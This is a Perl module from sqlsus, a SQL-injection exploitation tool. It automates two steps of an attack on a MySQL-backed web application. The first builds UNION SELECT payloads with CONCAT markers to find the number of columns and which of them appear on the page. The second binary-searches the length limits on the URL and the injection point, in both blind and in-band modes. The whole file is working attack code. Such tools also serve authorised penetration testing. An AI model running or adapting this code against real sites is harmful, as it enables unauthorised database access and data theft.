package autoconf;

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

use strict;
use warnings;

use POSIX;
use Switch;

use constant LENGTH_URL => 1;
use constant LENGTH_INJVAR => 2;

##################################
# Find the correct UNION ALL SELECT ALL blabla order so that :
# - We have the same number of columns
# - We can see resquests answers
sub select_columns {
	if ($conf::blind) {
		&msg::error("Blind mode detected.");
		return 0;
	}
	my $inj = " CONCAT(0x5,1,0x7)";

	for my $i (1..$conf::max_select_cols) {
		&msg::raw("\rFinding UNION columns : $i");

		my $res = &select::inject($inj);
		return 0 if &main::is_interrupted();
		# error on first try
		if ($i == 1 and not $res) {
			&msg::error("HTTP Error : $res " . $res->status_line);
			return 0;
		} 

		if ($res->content =~ /\x05(\d+)\x07/) {
			@conf::columns = split //, "0"x$i;
			$_ = $res->content;
			while ($_ =~ /\x05(\d+)\x07/) {
				$conf::columns[$1-1] = 1;
				s/\x05\d+\x07//;
			}
			&msg::raw("\r" . " "x30 . "\r");
			return 1;
		}

		$inj .= ",CONCAT(0x5," . ($i + 1) . ",0x7)";
	}
	&msg::raw("\r" . " "x30 . "\r");
	return 0;
}

##################################
sub print_max_sendable_progress {
	my $url_length = shift;
	my $injvar_length = shift;
	&msg::raw("\rFinding max_sendable : (url : $url_length / injvar : $injvar_length) " . " "x10 . "\b"x10);
}

##################################
sub build_query {
	my $pattern = shift;
	my $multiplier = shift;

	my $query = $pattern;
	$query =~ s/X/"1"x$multiplier/e;

	return $query;
}

##################################
sub test_query_length {
	my $inject_callback = shift;
	my $query = shift;
	my $expected_result = shift;

	&print_max_sendable_progress(&$inject_callback($query, LENGTH_URL), &$inject_callback($query, LENGTH_INJVAR));
	my $res = &$inject_callback($query);
	if ($res and $res eq $expected_result) {
		return 1;
	} else {
		return 0;
	}
}


##################################
sub max_url_length {
	my $inject_callback = shift;
	my $query_pattern = shift;
	my $expected_result = shift;
	my $low = shift;
	my $high = shift;
	my $mid = 0;

	return if &main::is_interrupted();

	return $high if ($high < $low);

	$mid = ceil ($low + (($high - $low) / 2));
	return undef unless $mid;

	my $query = &build_query($query_pattern, $mid);

	if (&test_query_length($inject_callback, $query, $expected_result ? $expected_result : $query)) {
		return &max_url_length($inject_callback, $query_pattern, $expected_result, $mid+1, $high);
	} else {
		return &max_url_length($inject_callback, $query_pattern, $expected_result, $low, $mid-1);
	}
}


##################################
sub configure_max_sendable {
	my $inject_callback = shift;
	my $query = shift;

	my $url_length = &$inject_callback($query, LENGTH_URL);
	# query is full of "1"s
	# on URL length restriction this will overflow, on injection point restriction it won't matter.
	$query =~ s/111/%31%31%31/;

	# if POST, the length restriction won't be on the URL size
	if (not $conf::post) {
		my $res = &$inject_callback($query);
		if ($res and $res eq "1") {
			$conf::max_inj_length = &$inject_callback($query, LENGTH_INJVAR);
		} else {
			$conf::max_url_length = $url_length;
		}
	} else {
		$conf::max_inj_length = &$inject_callback($query, LENGTH_INJVAR);
	}
}


##################################
sub max_sendable {
	my $inject_callback;
	my $query_pattern;

	my $expected_result = 1;

	$conf::max_url_length = 0;
	$conf::max_inj_length = 0;

	if ($conf::blind) {
		$inject_callback = \&select::inject_blind;
		$query_pattern = "X";
	} else {
		$inject_callback = \&select::inband_query_joined_result;
		$query_pattern = "SELECT IF(X, '1', '0')";
	}

	if ($conf::post and &test_query_length($inject_callback, &build_query($query_pattern, 2**16), $expected_result ? $expected_result : &build_query($query_pattern, 2**16))) {
		&msg::raw("\r" . " "x60 . "\r");
		&msg::info("POST enabled, and no restrictions were found at length 2^16, setting max_inj_length to 1 Mb");
		$conf::max_inj_length = 1000000000;
		#$conf::max_inj_length = &$inject_callback(&build_query($query_pattern, 2**16), LENGTH_INJVAR);
	} else {
		my $max_length = &max_url_length($inject_callback, $query_pattern, $expected_result, 0, 2**16);
		&msg::raw("\r" . " "x60 . "\r");
		if (not defined $max_length) {
			&msg::warning("Something went wrong finding the length restriction applied on the other end. Please check that the injection point is working and rerun \"autoconf max_sendable\" or set max_url_length or max_inj_length yourself.");
		} else {
			&configure_max_sendable($inject_callback, &build_query($query_pattern, $max_length));
		}
	}
	if ($conf::max_url_length > 0) {
		&msg::info("Length restriction on URL : $conf::max_url_length bytes");
	} elsif ($conf::max_inj_length > 0) {
		&msg::info("Length restriction on injection point : $conf::max_inj_length bytes");
	}
}


##################################
sub command {
        my $args = shift;

	switch($args) {
		case "max_sendable" { 
			if (not $conf::blind and not @conf::columns) {
				&msg::error("Columns for UNION not set, set them in the configuration file or use \"start\" first");
				return;
			}
			&max_sendable();
		}
		case "select_columns" {
			if (&select_columns) {
				&msg::info("Correct number of columns for UNION : " . scalar @conf::columns . ' (' . join (",", @conf::columns) . ")");
			}
		}
		else { &help::usage("autoconf"); }
	}
}


1
